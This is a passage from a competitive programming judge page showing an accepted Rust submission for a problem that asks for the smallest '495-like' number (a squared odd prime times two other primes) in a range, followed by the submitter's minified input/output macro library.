結果
| 問題 | No.3485 Find 495-like Number |
| コンテスト | |
| ユーザー |
|
| 提出日時 | 2026-03-27 22:25:58 |
| 言語 | Rust (1.93.0 + proconio + num + itertools) |
| 結果 |
AC
|
| 実行時間 | 9 ms / 5,000 ms |
| コード長 | 59,428 bytes |
| 記録 | |
| コンパイル時間 | 9,135 ms |
| コンパイル使用メモリ | 185,196 KB |
| 実行使用メモリ | 6,272 KB |
| 最終ジャッジ日時 | 2026-03-27 22:26:13 |
| 合計ジャッジ時間 | 8,228 ms |
|
ジャッジサーバーID (参考情報) |
judge1_1 / judge2_0 |
| 外部呼び出し有り |
(要ログイン)
| ファイルパターン | 結果 |
|---|---|
| sample | AC * 3 |
| other | AC * 34 |
ソースコード
code!{
pub fn solve() {
crate::prepare!();
sc!([l, r]: [u64; const 2]);
let mut min = !0u64;
for c in 7.max(l / 45)..=r / 45 {
if !miller_rabin(c) {
continue;
}
let x = 45 * c;
if (l..=r).contains(&x) {
min = x;
break;
}
}
for x in l..=r.min(min) {
let pf = prime_factors(x as _);
if pf.len() == 3 && pf[0].0 > 2 && pf[0].1 == 2 && pf[1].1 == 1 && pf[2].1 == 1 {
min = min.min(x);
break;
}
}
pp!(min as i64);
}
crate::main!();
#[allow(unused_imports)]use std::{cmp::{Ordering,Reverse},collections::{BTreeMap,BTreeSet,BinaryHeap,HashMap,HashSet,VecDeque}};
mod main_macros{#[doc=" Prepare useful macros."]#[doc=" - `prepare!();`: default (all input scanner (`sc!`, `sv!`) + buf print (`pp!`, `dg!`))"]#[doc=" - `prepare!(?);`: interactive (line scanner (`scln!`) + buf print (`pp!`, `dg!`))"]#[macro_export]#[allow(clippy::crate_in_macro_def)]macro_rules!prepare{(@output($dol:tt))=>{#[allow(unused_imports)]use std::io::Write as _;let __out=std::io::stdout();#[allow(unused_mut,unused_variables)]let mut __out=std::io::BufWriter::new(__out.lock());#[allow(unused_macros)]#[doc=" [`iter_print!`] for buffered stdout."]macro_rules!pp{($dol($dol t:tt)*)=>{$dol crate::iter_print!(__out,$dol($dol t)*)}}#[cfg(debug_assertions)]#[allow(unused_macros)]#[doc=" [`iter_print!`] for buffered stderr. Do nothing in release mode."]macro_rules!dg{($dol($dol t:tt)*)=>{{#[allow(unused_imports)]use std::io::Write as _;let __err=std::io::stderr();#[allow(unused_mut,unused_variables)]let mut __err=std::io::BufWriter::new(__err.lock());$dol crate::iter_print!(__err,$dol($dol t)*);let _=__err.flush();}}}#[cfg(not(debug_assertions))]#[allow(unused_macros)]#[doc=" [`iter_print!`] for buffered stderr. Do nothing in release mode."]macro_rules!dg{($dol($dol t:tt)*)=>{}}};(@normal($dol:tt))=>{let __in_buf=read_stdin_all_unchecked();#[allow(unused_mut,unused_variables)]let mut __scanner=Scanner::new(&__in_buf);#[allow(unused_macros)]macro_rules!sc{($dol($dol t:tt)*)=>{$dol crate::scan!(__scanner,$dol($dol t)*)}}#[allow(unused_macros)]macro_rules!sv{($dol($dol t:tt)*)=>{$dol crate::scan_value!(__scanner,$dol($dol t)*)}}};(@interactive($dol:tt))=>{#[allow(unused_macros)]#[doc=" Scan a line, and previous line will be truncated in the next call."]macro_rules!scln{($dol($dol t:tt)*)=>{let __in_buf=read_stdin_line();#[allow(unused_mut,unused_variables)]let mut __scanner=Scanner::new(&__in_buf);$dol crate::scan!(__scanner,$dol($dol t)*)}}#[allow(unused_macros)]#[doc=" Scan a line, and previous line will be truncated in the next call."]macro_rules!svln{($dol($dol t:tt)*)=>{{let __in_buf=read_stdin_line();#[allow(unused_mut,unused_variables)]let mut __scanner=Scanner::new(&__in_buf);$dol crate::scan_value!(__scanner,$dol($dol t)*)}}}};()=>{$crate::prepare!(@output($));$crate::prepare!(@normal($))};(?)=>{$crate::prepare!(@output($));$crate::prepare!(@interactive($))};}#[macro_export]macro_rules!main{()=>{fn main(){solve();}};(avx2)=>{fn main(){#[target_feature(enable="avx2")]unsafe fn solve_avx2(){solve();}unsafe{solve_avx2()}}};(large_stack)=>{fn main(){const STACK_SIZE:usize=512*1024*1024;::std::thread::Builder::new().stack_size(STACK_SIZE).spawn(solve).unwrap().join().unwrap();}};}}
pub use self::iter_print::IterPrint;
mod iter_print{use std::{fmt::Display,io::{Error,Write}};pub trait IterPrint{fn iter_print<W,S>(self,writer:&mut W,sep:S,is_head:bool)->Result<(),Error>where W:Write,S:Display;}macro_rules!impl_iter_print_tuple{(@impl,)=>{impl IterPrint for(){fn iter_print<W,S>(self,_writer:&mut W,_sep:S,_is_head:bool)->Result<(),Error>where W:Write,S:Display{Ok(())}}};(@impl$($A:ident$a:ident)?,$($B:ident$b:ident)*)=>{impl<$($A,)?$($B),*>IterPrint for($($A,)?$($B),*)where$($A:Display,)?$($B:Display),*{fn iter_print<W,S>(self,writer:&mut W,sep:S,is_head:bool)->Result<(),Error>where W:Write,S:Display{let($($a,)?$($b,)*)=self;$(if is_head{::std::write!(writer,"{}",$a)?;}else{::std::write!(writer,"{}{}",sep,$a)?;})?$(::std::write!(writer,"{}{}",sep,$b)?;)*Ok(())}}};(@inc,,$C:ident$c:ident$($D:ident$d:ident)*)=>{impl_iter_print_tuple!(@impl,);impl_iter_print_tuple!(@inc$C$c,,$($D$d)*);};(@inc$A:ident$a:ident,$($B:ident$b:ident)*,$C:ident$c:ident$($D:ident$d:ident)*)=>{impl_iter_print_tuple!(@impl$A$a,$($B$b)*);impl_iter_print_tuple!(@inc$A$a,$($B$b)*$C$c,$($D$d)*);};(@inc$A:ident$a:ident,$($B:ident$b:ident)*,)=>{impl_iter_print_tuple!(@impl$A$a,$($B$b)*);};($($t:tt)*)=>{impl_iter_print_tuple!(@inc,,$($t)*);};}impl_iter_print_tuple!(A a B b C c D d E e F f G g H h I i J j K k);#[doc=" Print expressions with a separator."]#[doc=" - `iter_print!(writer, args...)`"]#[doc=" - `@sep $expr`: set separator (default: `' '`)"]#[doc=" - `@ns`: alias for `@sep \"\"`"]#[doc=" - `@lf`: alias for `@sep '\\n'`"]#[doc=" - `@sp`: alias for `@sep ' '`"]#[doc=" - `@fmt ($lit, $($expr),*)`: print `format!($lit, $($expr),*)`"]#[doc=" - `@flush`: flush writer (auto insert `!`)"]#[doc=" - `@it $expr`: print iterator"]#[doc=" - `@it1 $expr`: print iterator as 1-indexed"]#[doc=" - `@cw ($char $expr)`: print iterator as `(elem as u8 + $char as u8) as char`"]#[doc=" - `@bw ($byte $expr)`: print iterator as `(elem as u8 + $byte) as char`"]#[doc=" - `@it2d $expr`: print 2d-iterator"]#[doc=" - `@tup $expr`: print tuple (need to import [`IterPrint`])"]#[doc=" - `@ittup $expr`: print iterative tuple (need to import [`IterPrint`])"]#[doc=" - `$expr`: print expr"]#[doc=" - `{ args... }`: scoped"]#[doc=" - `;`: print `'\\n'`"]#[doc=" - `!`: not print `'\\n'` at the end"]#[macro_export]macro_rules!iter_print{(@@fmt$writer:expr,$sep:expr,$is_head:expr,($lit:literal$(,$e:expr)*$(,)?))=>{if!$is_head{::std::write!($writer,"{}",$sep).expect("io error");}::std::write!($writer,$lit,$($e),*).expect("io error");};(@@item$writer:expr,$sep:expr,$is_head:expr,$e:expr)=>{$crate::iter_print!(@@fmt$writer,$sep,$is_head,("{}",$e));};(@@line_feed$writer:expr$(,)?)=>{::std::writeln!($writer).expect("io error");};(@@it$writer:expr,$sep:expr,$is_head:expr,$iter:expr)=>{{let mut iter=$iter.into_iter();if let Some(item)=iter.next(){$crate::iter_print!(@@item$writer,$sep,$is_head,item);}for item in iter{$crate::iter_print!(@@item$writer,$sep,false,item);}}};(@@it1$writer:expr,$sep:expr,$is_head:expr,$iter:expr)=>{{let mut iter=$iter.into_iter();if let Some(item)=iter.next(){$crate::iter_print!(@@item$writer,$sep,$is_head,item+1);}for item in iter{$crate::iter_print!(@@item$writer,$sep,false,item+1);}}};(@@cw$writer:expr,$sep:expr,$is_head:expr,($ch:literal$iter:expr))=>{{let mut iter=$iter.into_iter();let b=$ch as u8;if let Some(item)=iter.next(){$crate::iter_print!(@@item$writer,$sep,$is_head,(item as u8+b)as char);}for item in iter{$crate::iter_print!(@@item$writer,$sep,false,(item as u8+b)as char);}}};(@@bw$writer:expr,$sep:expr,$is_head:expr,($b:literal$iter:expr))=>{{let mut iter=$iter.into_iter();let b:u8=$b;if let Some(item)=iter.next(){$crate::iter_print!(@@item$writer,$sep,$is_head,(item as u8+b)as char);}for item in iter{$crate::iter_print!(@@item$writer,$sep,false,(item as u8+b)as char);}}};(@@it2d$writer:expr,$sep:expr,$is_head:expr,$iter:expr)=>{let mut iter=$iter.into_iter();if let Some(item)=iter.next(){$crate::iter_print!(@@it$writer,$sep,$is_head,item);}for item in iter{$crate::iter_print!(@@line_feed$writer);$crate::iter_print!(@@it$writer,$sep,true,item);}};(@@tup$writer:expr,$sep:expr,$is_head:expr,$tuple:expr)=>{IterPrint::iter_print($tuple,&mut$writer,$sep,$is_head).expect("io error");};(@@ittup$writer:expr,$sep:expr,$is_head:expr,$iter:expr)=>{let mut iter=$iter.into_iter();if let Some(item)=iter.next(){$crate::iter_print!(@@tup$writer,$sep,$is_head,item);}for item in iter{$crate::iter_print!(@@line_feed$writer);$crate::iter_print!(@@tup$writer,$sep,true,item);}};(@@assert_tag item)=>{};(@@assert_tag it)=>{};(@@assert_tag it1)=>{};(@@assert_tag it2d)=>{};(@@assert_tag tup)=>{};(@@assert_tag ittup)=>{};(@@assert_tag$tag:ident)=>{::std::compile_error!(::std::concat!("invalid tag in `iter_print!`: `",std::stringify!($tag),"`"));};(@@inner$writer:expr,$sep:expr,$is_head:expr,@sep$e:expr,$($t:tt)*)=>{$crate::iter_print!(@@inner$writer,$e,$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@ns$($t:tt)*)=>{$crate::iter_print!(@@inner$writer,"",$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@lf$($t:tt)*)=>{$crate::iter_print!(@@inner$writer,'\n',$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@sp$($t:tt)*)=>{$crate::iter_print!(@@inner$writer,' ',$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@flush$($t:tt)*)=>{$writer.flush().expect("io error");$crate::iter_print!(@@inner$writer,$sep,$is_head,!$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@fmt$arg:tt$($t:tt)*)=>{$crate::iter_print!(@@fmt$writer,$sep,$is_head,$arg);$crate::iter_print!(@@inner$writer,$sep,$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@cw$arg:tt$($t:tt)*)=>{$crate::iter_print!(@@cw$writer,$sep,$is_head,$arg);$crate::iter_print!(@@inner$writer,$sep,$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@bw$arg:tt$($t:tt)*)=>{$crate::iter_print!(@@bw$writer,$sep,$is_head,$arg);$crate::iter_print!(@@inner$writer,$sep,$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@$tag:ident$e:expr,$($t:tt)*)=>{$crate::iter_print!(@@assert_tag$tag);$crate::iter_print!(@@$tag$writer,$sep,$is_head,$e);$crate::iter_print!(@@inner$writer,$sep,false,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@$tag:ident$e:expr;$($t:tt)*)=>{$crate::iter_print!(@@assert_tag$tag);$crate::iter_print!(@@$tag$writer,$sep,$is_head,$e);$crate::iter_print!(@@line_feed$writer);$crate::iter_print!(@@inner$writer,$sep,true,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@$tag:ident$e:expr)=>{$crate::iter_print!(@@assert_tag$tag);$crate::iter_print!(@@$tag$writer,$sep,$is_head,$e);$crate::iter_print!(@@inner$writer,$sep,false,);};(@@inner$writer:expr,$sep:expr,$is_head:expr,@$tag:ident$($t:tt)*)=>{::std::compile_error!(::std::concat!("invalid expr in `iter_print!`: `",std::stringify!($($t)*),"`"));};(@@inner$writer:expr,$sep:expr,$is_head:expr,,$($t:tt)*)=>{$crate::iter_print!(@@inner$writer,$sep,$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,;$($t:tt)*)=>{$crate::iter_print!(@@line_feed$writer);$crate::iter_print!(@@inner$writer,$sep,$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,!$(,)?)=>{};(@@inner$writer:expr,$sep:expr,$is_head:expr,!$($t:tt)*)=>{$crate::iter_print!(@@inner$writer,$sep,$is_head,$($t)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,)=>{$crate::iter_print!(@@line_feed$writer);};(@@inner$writer:expr,$sep:expr,$is_head:expr,{$($t:tt)*}$($rest:tt)*)=>{$crate::iter_print!(@@inner$writer,$sep,$is_head,$($t)*,!);$crate::iter_print!(@@inner$writer,$sep,$is_head,$($rest)*);};(@@inner$writer:expr,$sep:expr,$is_head:expr,$($t:tt)*)=>{$crate::iter_print!(@@inner$writer,$sep,$is_head,@item$($t)*);};($writer:expr,$($t:tt)*)=>{{$crate::iter_print!(@@inner$writer,' ',true,$($t)*);}};}}
mod array{#[macro_export]macro_rules!array{[@inner$data:ident=[$init:expr;$len:expr]]=>{{use::std::mem::{ManuallyDrop,MaybeUninit};let mut$data:[MaybeUninit<_>;$len]=unsafe{MaybeUninit::uninit().assume_init()};$init;#[repr(C)]union __Transmuter<const N:usize,T:Clone>{src:ManuallyDrop<[MaybeUninit<T>;N]>,dst:ManuallyDrop<[T;N]>,}ManuallyDrop::into_inner(unsafe{__Transmuter{src:ManuallyDrop::new($data)}.dst})}};[||$e:expr;$len:expr]=>{$crate::array![@inner data=[data.iter_mut().for_each(|item|*item=MaybeUninit::new($e));$len]]};[|$i:pat_param|$e:expr;$len:expr]=>{$crate::array![@inner data=[data.iter_mut().enumerate().for_each(|($i,item)|*item=MaybeUninit::new($e));$len]]};[$e:expr;$len:expr]=>{{let e=$e;$crate::array![||Clone::clone(&e);$len]}};}}
pub use self::scanner::*;
mod scanner{use std::{iter::{FromIterator,from_fn,repeat_with},marker::PhantomData};pub fn read_stdin_all()->String{use std::io::Read as _;let mut s=String::new();std::io::stdin().read_to_string(&mut s).expect("io error");s}pub fn read_stdin_all_unchecked()->String{use std::io::Read as _;let mut buf=Vec::new();std::io::stdin().read_to_end(&mut buf).expect("io error");unsafe{String::from_utf8_unchecked(buf)}}pub fn read_all(mut reader:impl std::io::Read)->String{let mut s=String::new();reader.read_to_string(&mut s).expect("io error");s}pub fn read_all_unchecked(mut reader:impl std::io::Read)->String{let mut buf=Vec::new();reader.read_to_end(&mut buf).expect("io error");unsafe{String::from_utf8_unchecked(buf)}}pub fn read_stdin_line()->String{let mut s=String::new();std::io::stdin().read_line(&mut s).expect("io error");s}pub trait IterScan:Sized{type Output;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self::Output>;}pub trait MarkedIterScan:Sized{type Output;fn mscan<'a,I:Iterator<Item=&'a str>>(self,iter:&mut I)->Option<Self::Output>;}#[derive(Clone,Debug)]pub struct Scanner<'a,I:Iterator<Item=&'a str>=std::str::SplitAsciiWhitespace<'a>>{iter:I}impl<'a>Scanner<'a>{pub fn new(s:&'a str)->Self{let iter=s.split_ascii_whitespace();Self{iter}}}impl<'a,I:Iterator<Item=&'a str>>Scanner<'a,I>{pub fn new_from_iter(iter:I)->Self{Self{iter}}pub fn scan<T>(&mut self)-><T as IterScan>::Output where T:IterScan{<T as IterScan>::scan(&mut self.iter).expect("scan error")}pub fn mscan<T>(&mut self,marker:T)-><T as MarkedIterScan>::Output where T:MarkedIterScan{marker.mscan(&mut self.iter).expect("scan error")}pub fn scan_vec<T>(&mut self,size:usize)->Vec<<T as IterScan>::Output>where T:IterScan{(0..size).map(|_|<T as IterScan>::scan(&mut self.iter).expect("scan error")).collect()}#[inline]pub fn iter<'b,T>(&'b mut self)->ScannerIter<'a,'b,I,T>where T:IterScan{ScannerIter{inner:self,_marker:std::marker::PhantomData}}}macro_rules!impl_iter_scan{($($t:ty)*)=>{$(impl IterScan for$t{type Output=Self;fn scan<'a,I:Iterator<Item=&'a str>>(iter:&mut I)->Option<Self>{iter.next()?.parse::<$t>().ok()}})*};}impl_iter_scan!(char u8 u16 u32 u64 usize i8 i16 i32 i64 isize f32 f64 u128 i128 String);macro_rules!impl_iter_scan_tuple{(@impl$($T:ident)*)=>{impl<$($T:IterScan),*>IterScan for($($T,)*){type Output=($(<$T as IterScan>::Output,)*);fn scan<'a,It:Iterator<Item=&'a str>>(_iter:&mut It)->Option<Self::Output>{Some(($(<$T as IterScan>::scan(_iter)?,)*))}}};(@inner$($T:ident)*,)=>{impl_iter_scan_tuple!(@impl$($T)*);};(@inner$($T:ident)*,$U:ident$($Rest:ident)*)=>{impl_iter_scan_tuple!(@impl$($T)*);impl_iter_scan_tuple!(@inner$($T)*$U,$($Rest)*);};($($T:ident)*)=>{impl_iter_scan_tuple!(@inner,$($T)*);};}impl_iter_scan_tuple!(A B C D E F G H I J K);pub struct ScannerIter<'a,'b,I:Iterator<Item=&'a str>,T>{inner:&'b mut Scanner<'a,I>,_marker:std::marker::PhantomData<fn()->T>}impl<'a,I,T>Iterator for ScannerIter<'a,'_,I,T>where I:Iterator<Item=&'a str>,T:IterScan{type Item=<T as IterScan>::Output;#[inline]fn next(&mut self)->Option<Self::Item>{<T as IterScan>::scan(&mut self.inner.iter)}}#[doc=" scan a value with Scanner"]#[doc=""]#[doc=" - `scan_value!(scanner, ELEMENT)`"]#[doc=""]#[doc=" ELEMENT :="]#[doc=" - `$ty`: IterScan"]#[doc=" - `@$expr`: MarkedIterScan"]#[doc=" - `$ty = $expr`: MarkedIterScan"]#[doc=" - `[ELEMENT; $expr]`: vector"]#[doc=" - `[ELEMENT; const $expr]`: array"]#[doc=" - `[ELEMENT]`: iterator"]#[doc=" - `($(ELEMENT)*,)`: tuple"]#[macro_export]macro_rules!scan_value{(@repeat$scanner:expr,[$($t:tt)*]$($len:expr)?)=>{::std::iter::repeat_with(||$crate::scan_value!(@inner$scanner,[]$($t)*))$(.take($len).collect::<Vec<_>>())?};(@array$scanner:expr,[$($t:tt)*]$len:expr)=>{$crate::array![||$crate::scan_value!(@inner$scanner,[]$($t)*);$len]};(@tuple$scanner:expr,[$([$($args:tt)*])*])=>{($($($args)*,)*)};(@sparen$scanner:expr,[]@$e:expr;$($t:tt)*)=>{$crate::scan_value!(@sparen$scanner,[@$e]$($t)*)};(@sparen$scanner:expr,[]($($tt:tt)*);$($t:tt)*)=>{$crate::scan_value!(@sparen$scanner,[($($tt)*)]$($t)*)};(@sparen$scanner:expr,[][$($tt:tt)*];$($t:tt)*)=>{$crate::scan_value!(@sparen$scanner,[[$($tt)*]]$($t)*)};(@sparen$scanner:expr,[]$ty:ty=$e:expr;$($t:tt)*)=>{$crate::scan_value!(@sparen$scanner,[$ty=$e]$($t)*)};(@sparen$scanner:expr,[]$ty:ty;$($t:tt)*)=>{$crate::scan_value!(@sparen$scanner,[$ty]$($t)*)};(@sparen$scanner:expr,[]$($args:tt)*)=>{$crate::scan_value!(@repeat$scanner,[$($args)*])};(@sparen$scanner:expr,[$($args:tt)+]const$len:expr)=>{$crate::scan_value!(@array$scanner,[$($args)+]$len)};(@sparen$scanner:expr,[$($args:tt)+]$len:expr)=>{$crate::scan_value!(@repeat$scanner,[$($args)+]$len)};(@$tag:ident$scanner:expr,[[$($args:tt)*]])=>{$($args)*};(@$tag:ident$scanner:expr,[$($args:tt)*]@$e:expr$(,$($t:tt)*)?)=>{$crate::scan_value!(@$tag$scanner,[$($args)*[$scanner.mscan($e)]]$(,$($t)*)?)};(@$tag:ident$scanner:expr,[$($args:tt)*]($($tuple:tt)*)$($t:tt)*)=>{$crate::scan_value!(@$tag$scanner,[$($args)*[$crate::scan_value!(@tuple$scanner,[]$($tuple)*)]]$($t)*)};(@$tag:ident$scanner:expr,[$($args:tt)*][$($tt:tt)*]$($t:tt)*)=>{$crate::scan_value!(@$tag$scanner,[$($args)*[$crate::scan_value!(@sparen$scanner,[]$($tt)*)]]$($t)*)};(@$tag:ident$scanner:expr,[$($args:tt)*]$ty:ty=$e:expr$(,$($t:tt)*)?)=>{$crate::scan_value!(@$tag$scanner,[$($args)*[{let _tmp:$ty=$scanner.mscan($e);_tmp}]]$(,$($t)*)?)};(@$tag:ident$scanner:expr,[$($args:tt)*]$ty:ty$(,$($t:tt)*)?)=>{$crate::scan_value!(@$tag$scanner,[$($args)*[$scanner.scan::<$ty>()]]$(,$($t)*)?)};(@$tag:ident$scanner:expr,[$($args:tt)*],$($t:tt)*)=>{$crate::scan_value!(@$tag$scanner,[$($args)*]$($t)*)};(@$tag:ident$scanner:expr,[$($args:tt)*])=>{::std::compile_error!(::std::stringify!($($args)*))};(src=$src:expr,$($t:tt)*)=>{{let mut __scanner=Scanner::new($src);$crate::scan_value!(@inner __scanner,[]$($t)*)}};(iter=$iter:expr,$($t:tt)*)=>{{let mut __scanner=Scanner::new_from_iter($iter);$crate::scan_value!(@inner __scanner,[]$($t)*)}};($scanner:expr,$($t:tt)*)=>{$crate::scan_value!(@inner$scanner,[]$($t)*)}}#[doc=" scan and bind values with Scanner"]#[doc=""]#[doc=" - `scan!(scanner, $($pat $(: ELEMENT)?),*)`"]#[macro_export]macro_rules!scan{(@assert$p:pat)=>{};(@assert$($p:tt)*)=>{::std::compile_error!(::std::concat!("expected pattern, found `",::std::stringify!($($p)*),"`"));};(@pat$scanner:expr,[][])=>{};(@pat$scanner:expr,[][],$($t:tt)*)=>{$crate::scan!(@pat$scanner,[][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][]$x:ident$($t:tt)*)=>{$crate::scan!(@pat$scanner,[$($p)*$x][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][]::$($t:tt)*)=>{$crate::scan!(@pat$scanner,[$($p)*::][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][]&$($t:tt)*)=>{$crate::scan!(@pat$scanner,[$($p)*&][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][]($($x:tt)*)$($t:tt)*)=>{$crate::scan!(@pat$scanner,[$($p)*($($x)*)][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][][$($x:tt)*]$($t:tt)*)=>{$crate::scan!(@pat$scanner,[$($p)*[$($x)*]][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][]{$($x:tt)*}$($t:tt)*)=>{$crate::scan!(@pat$scanner,[$($p)*{$($x)*}][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][]:$($t:tt)*)=>{$crate::scan!(@ty$scanner,[$($p)*][]$($t)*)};(@pat$scanner:expr,[$($p:tt)*][]$($t:tt)*)=>{$crate::scan!(@let$scanner,[$($p)*][usize]$($t)*)};(@ty$scanner:expr,[$($p:tt)*][$($tt:tt)*]@$e:expr$(,$($t:tt)*)?)=>{$crate::scan!(@let$scanner,[$($p)*][$($tt)*@$e]$(,$($t)*)?)};(@ty$scanner:expr,[$($p:tt)*][$($tt:tt)*]($($x:tt)*)$($t:tt)*)=>{$crate::scan!(@let$scanner,[$($p)*][$($tt)*($($x)*)]$($t)*)};(@ty$scanner:expr,[$($p:tt)*][$($tt:tt)*][$($x:tt)*]$($t:tt)*)=>{$crate::scan!(@let$scanner,[$($p)*][$($tt)*[$($x)*]]$($t)*)};(@ty$scanner:expr,[$($p:tt)*][$($tt:tt)*]$ty:ty=$e:expr$(,$($t:tt)*)?)=>{$crate::scan!(@let$scanner,[$($p)*][$($tt)*$ty=$e]$(,$($t)*)?)};(@ty$scanner:expr,[$($p:tt)*][$($tt:tt)*]$ty:ty$(,$($t:tt)*)?)=>{$crate::scan!(@let$scanner,[$($p)*][$($tt)*$ty]$(,$($t)*)?)};(@let$scanner:expr,[$($p:tt)*][$($tt:tt)*]$($t:tt)*)=>{$crate::scan!{@assert$($p)*}let$($p)* =$crate::scan_value!($scanner,$($tt)*);$crate::scan!(@pat$scanner,[][]$($t)*)};(src=$src:expr,$($t:tt)*)=>{let mut __scanner=Scanner::new($src);$crate::scan!(@pat __scanner,[][]$($t)*)};(iter=$iter:expr,$($t:tt)*)=>{let mut __scanner=Scanner::new_from_iter($iter);$crate::scan!(@pat __scanner,[][]$($t)*)};($scanner:expr,$($t:tt)*)=>{$crate::scan!(@pat$scanner,[][]$($t)*)}}#[doc=" define enum scan rules"]#[doc=""]#[doc=" # Example"]#[doc=" ```rust"]#[doc=" # use competitive::{define_enum_scan, tools::{CharsWithBase, IterScan, Scanner, Usize1}};"]#[doc=" define_enum_scan! {"]#[doc=" enum Query: u8 {"]#[doc=" 0 => Noop,"]#[doc=" 1 => Args { i: Usize1, s: char },"]#[doc=" 9 => Complex { n: usize, c: [(usize, Vec<usize> = CharsWithBase('a')); n] },"]#[doc=" }"]#[doc=" }"]#[doc=" ```"]#[macro_export]macro_rules!define_enum_scan{(@field_ty@repeat[$($t:tt)*]$($len:expr)?)=>{Vec<$crate::define_enum_scan!(@field_ty$($t)*)>};(@field_ty@array[$($t:tt)*]$len:expr)=>{[$crate::define_enum_scan!(@field_ty$($t)*);$len]};(@field_ty@tuple[$([$($args:tt)*])*])=>{($($($args)*,)*)};(@field_ty@sparen[]($($tt:tt)*);$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@sparen[($($tt)*)]$($t)*)};(@field_ty@sparen[][$($tt:tt)*];$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@sparen[[$($tt)*]]$($t)*)};(@field_ty@sparen[]$ty:ty=$e:expr;$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@sparen[$ty=$e]$($t)*)};(@field_ty@sparen[]$ty:ty;$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@sparen[$ty]$($t)*)};(@field_ty@sparen[]$($args:tt)*)=>{$crate::define_enum_scan!(@field_ty@repeat[$($args)*])};(@field_ty@sparen[$($args:tt)+]const$len:expr)=>{$crate::define_enum_scan!(@field_ty@array[$($args)+]$len)};(@field_ty@sparen[$($args:tt)+]$len:expr)=>{$crate::define_enum_scan!(@field_ty@repeat[$($args)+]$len)};(@field_ty@$tag:ident[$($args:tt)*]($($tuple:tt)*)$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@$tag[$($args)*[$crate::define_enum_scan!(@field_ty@tuple[]$($tuple)*)]]$($t)*)};(@field_ty@$tag:ident[$($args:tt)*][$($tt:tt)*]$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@$tag[$($args)*[$crate::define_enum_scan!(@field_ty@sparen[]$($tt)*)]]$($t)*)};(@field_ty@$tag:ident[$($args:tt)*]$ty:ty=$e:expr$(,$($t:tt)*)?)=>{$crate::define_enum_scan!(@field_ty@$tag[$($args)*[$ty]]$(,$($t)*)?)};(@field_ty@$tag:ident[$($args:tt)*]$ty:ty$(,$($t:tt)*)?)=>{$crate::define_enum_scan!(@field_ty@$tag[$($args)*[<$ty as IterScan>::Output]]$(,$($t)*)?)};(@field_ty@$tag:ident[$($args:tt)*],$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@$tag[$($args)*]$($t)*)};(@field_ty@$tag:ident[[$($args:tt)*]])=>{$($args)*};(@field_ty@$tag:ident[$($args:tt)*])=>{::std::compile_error!(::std::stringify!($($args)*))};(@field_ty$($t:tt)*)=>{$crate::define_enum_scan!(@field_ty@inner[]$($t)*)};(@tag_expr raw,$iter:ident)=>{$iter.next()?};(@tag_expr$d:ty,$iter:ident)=>{<$d as IterScan>::scan($iter)?};(@variant([$($attr:tt)*]$vis:vis$T:ident$d:tt)[$($vars:tt)*])=>{$crate::define_enum_scan!{@def$($attr)*$vis enum$T:$d{$($vars)*}}};(@variant$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident{$($fs:tt)*}$($rest:tt)*)=>{$crate::define_enum_scan!{@field$ctx[$($vars)*]$p=>$v[]$($fs)*;$($rest)*}};(@variant$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident$($rest:tt)*)=>{$crate::define_enum_scan!{@variant$ctx[$($vars)*$p=>$v,]$($rest)*}};(@variant$ctx:tt[$($vars:tt)*],$($rest:tt)*)=>{$crate::define_enum_scan!{@variant$ctx[$($vars)*]$($rest)*}};(@endfield$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*][$f:ident:$($spec:tt)*],$($rest:tt)*)=>{$crate::define_enum_scan!{@field$ctx[$($vars)*]$p=>$v[$($fs)*[$f:$($spec)*]]$($rest)*}};(@endfield$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*][$f:ident:$($spec:tt)*];$($rest:tt)*)=>{$crate::define_enum_scan!{@variant$ctx[$($vars)*$p=>$v{$($fs)*[$f:$($spec)*]},]$($rest)*}};(@field$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*];$($rest:tt)*)=>{$crate::define_enum_scan!{@variant$ctx[$($vars)*$p=>$v{$($fs)*},]$($rest)*}};(@field$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*]$f:ident:($($tuple:tt)*)$sep:tt$($rest:tt)*)=>{$crate::define_enum_scan!{@endfield$ctx[$($vars)*]$p=>$v[$($fs)*][$f:($($tuple)*)]$sep$($rest)*}};(@field$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*]$f:ident:[$($x:tt)*]$sep:tt$($rest:tt)*)=>{$crate::define_enum_scan!{@endfield$ctx[$($vars)*]$p=>$v[$($fs)*][$f:[$($x)*]]$sep$($rest)*}};(@field$ctx:tt[$($vars:tt)*]$p:pat=>$v:ident[$($fs:tt)*]$f:ident:$ty:ty=$e:expr,$($rest:tt)*)=>{$crate::define_enum_scan!{@en